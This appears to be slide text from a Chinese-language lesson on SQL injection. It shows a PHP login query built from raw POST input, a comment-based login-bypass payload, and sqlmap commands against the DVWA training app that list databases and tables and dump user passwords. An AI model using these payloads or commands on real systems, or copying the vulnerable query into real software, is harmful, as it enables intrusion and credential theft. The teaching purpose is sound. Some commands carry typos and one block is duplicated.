Web Security
SQL Injection - SQLi
UPDATE:修改資料庫已存在資料
SELECT:取得資料庫已存在資料
INSERT:新增⼀一筆資料
DELETE:刪除⼀一筆資料
SELECT * FROM account WHERE username=‘’ AND password = ‘’
從 account表格中選擇
username=‘’ 且 password=‘’的資料
$sql = "SELECT * FROM account WHERE
username='".$_POST['username']."' AND password = '".$_POST['password']."'";
SELECT * FROM account WHERE
username=‘demouser’ AND password = ‘demopass’;
$_POST[‘username’] = “1’ OR uid=‘1’/*”;
$_POST[‘password’] = “*/ OR password=‘”;
$sql = “SELECT * FROM account WHERE username=‘."1'
OR uid='1'/*".' AND password = ‘."*/ OR password=' ".'";
SELECT * FROM account WHERE
username='1' OR uid=‘1' OR password=‘’;
從account表格中選取username=‘1’或 uid=‘1’或password=‘’該列的所有資料
sqlmap -u“[url]”
--cookie=“[cookies]”
-b --current-db --current-user
--cookie : 因為需要登入,所以一定要讓 sqlmap 有 cookies 可用,不然跳不到需要跑的頁面
-u : 指定目標的 URL
-b : 取得 DBMS 的 banner
--current-db : 顯示目前的 DB
--current-user : 顯示目前的 User
sqlmap -u“[url]” --cookie=”[cookies]"
--users --password”
--users : 列出 DBMS 用戶
--password : 暴力破解 DBMS 用戶的密碼 hash
sqlmap -u“[url]” --cookie=”[cookies]"
--dbs
--dbs : 列出所有的 DB
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa --tables
-D : 要列出的 DB
--tables : 列出 DB 底下所有的 Table
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa --tables
-D : 要列出的 DB
--tables : 列出 DB 底下所有的 Table
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa -T users --columns
-T : 要列出的 Table
--columns : 列出 Table 底下所有的列
sqlmap -u“[url]” --cookie=”[cookies]"
-D dvwa -T users-C user,password --dump
-C : 要列出的 列
-dump : 轉除 DBMS 的資料表項